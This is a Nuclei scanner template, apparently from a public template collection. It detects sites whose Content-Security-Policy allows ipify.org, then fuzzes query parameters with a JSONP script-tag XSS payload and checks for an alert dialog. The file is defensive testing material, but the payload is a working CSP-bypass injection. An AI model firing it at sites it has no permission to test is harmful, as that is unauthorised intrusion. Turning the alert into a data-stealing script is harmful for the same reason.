id: ipify-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Ipify API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,ipify-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "ipify.org"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: ipify_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.ipify.org/?format=jsonp&callback=alert(1)//"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "ipify_api_csp_xss == true"
# digest: 4a0a0047304502205cc0e5975615bdf6cbcbe3a8563920813eb55c5d0b3fbc3bd1b5685a36096cf5022100d99d125f0b10e37675219af226153158d2cddd7ee8f088193cf1bb07b3ed8c31:922c64590222798bb761d5b6d8e72950